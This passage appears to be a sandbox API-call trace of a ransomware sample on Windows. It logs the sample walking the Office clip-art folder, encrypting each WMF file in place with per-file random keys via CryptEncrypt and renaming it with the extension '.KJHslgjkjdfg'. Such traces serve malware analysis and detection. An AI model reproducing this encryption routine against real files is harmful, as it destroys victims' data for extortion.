hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.870] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.870] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.870] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.870] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.870] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.870] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.870] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.870] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x266c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x266c, lpOverlapped=0x0) returned 1 [0212.871] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2670, dwBufLen=0x2670 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2670) returned 1 [0212.871] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.871] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2670, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2670, lpOverlapped=0x0) returned 1 [0212.871] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.871] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.871] SetEndOfFile (hFile=0x130) returned 1 [0212.874] GetProcessHeap () returned 0x990000 [0212.874] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.874] GetProcessHeap () returned 0x990000 [0212.874] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.874] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf.kjhslgjkjdfg")) returned 1 [0212.876] CloseHandle (hObject=0x130) returned 1 [0212.876] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fde, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02048_.WMF", cAlternateFileName="")) returned 1 [0212.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.878] GetProcessHeap () returned 0x990000 [0212.878] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.878] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.878] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.878] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0212.883] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.883] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.883] GetProcessHeap () returned 0x990000 [0212.883] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.883] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.883] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.884] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.884] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.884] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.884] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.884] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.884] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.884] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.884] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.884] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.884] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1fde, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1fde, lpOverlapped=0x0) returned 1 [0212.886] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1fe0, dwBufLen=0x1fe0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1fe0) returned 1 [0212.886] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.886] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1fe0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1fe0, lpOverlapped=0x0) returned 1 [0212.887] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.887] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x20b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.887] SetEndOfFile (hFile=0x130) returned 1 [0212.889] GetProcessHeap () returned 0x990000 [0212.889] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.889] GetProcessHeap () returned 0x990000 [0212.889] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.890] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf.kjhslgjkjdfg")) returned 1 [0212.891] CloseHandle (hObject=0x130) returned 1 [0212.891] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c2c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02051_.WMF", cAlternateFileName="")) returned 1 [0212.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.892] GetProcessHeap () returned 0x990000 [0212.892] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.892] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.893] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.893] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.895] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.895] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.895] GetProcessHeap () returned 0x990000 [0212.895] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.895] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.895] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.895] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.895] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.896] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.896] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.896] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.896] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.896] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.896] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.896] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.896] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2c2c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2c2c, lpOverlapped=0x0) returned 1 [0212.897] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2c30, dwBufLen=0x2c30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2c30) returned 1 [0212.897] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.897] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2c30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2c30, lpOverlapped=0x0) returned 1 [0212.898] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.898] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2d04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.898] SetEndOfFile (hFile=0x130) returned 1 [0212.900] GetProcessHeap () returned 0x990000 [0212.900] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.900] GetProcessHeap () returned 0x990000 [0212.900] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.901] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf.kjhslgjkjdfg")) returned 1 [0212.902] CloseHandle (hObject=0x130) returned 1 [0212.902] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e1d7400, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e1d7400, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x30ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02054_.WMF", cAlternateFileName="")) returned 1 [0212.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.904] GetProcessHeap () returned 0x990000 [0212.904] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.904] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.904] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.904] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0212.906] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.906] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.906] GetProcessHeap () returned 0x990000 [0212.906] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.907] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.907] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.907] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.907] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.907] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.907] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.907] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.907] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.907] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.907] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.907] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.907] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x30ca, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x30ca, lpOverlapped=0x0) returned 1 [0212.908] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x30d0, dwBufLen=0x30d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x30d0) returned 1 [0212.908] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.908] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x30d0, lpOverlapped=0x0) returned 1 [0212.909] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.909] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x31a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.909] SetEndOfFile (hFile=0x130) returned 1 [0212.912] GetProcessHeap () returned 0x990000 [0212.912] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.912] GetProcessHeap () returned 0x990000 [0212.912] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.912] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf.kjhslgjkjdfg")) returned 1 [0212.913] CloseHandle (hObject=0x130) returned 1 [0212.913] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cec4700, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cec4700, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x4c4c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02055_.WMF", cAlternateFileName="")) returned 1 [0212.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.915] GetProcessHeap () returned 0x990000 [0212.915] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.915] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.915] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.915] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.917] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.917] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.917] GetProcessHeap () returned 0x990000 [0212.917] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.917] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.917] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.917] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.918] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.918] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.918] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.918] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.918] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.918] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.918] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.918] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 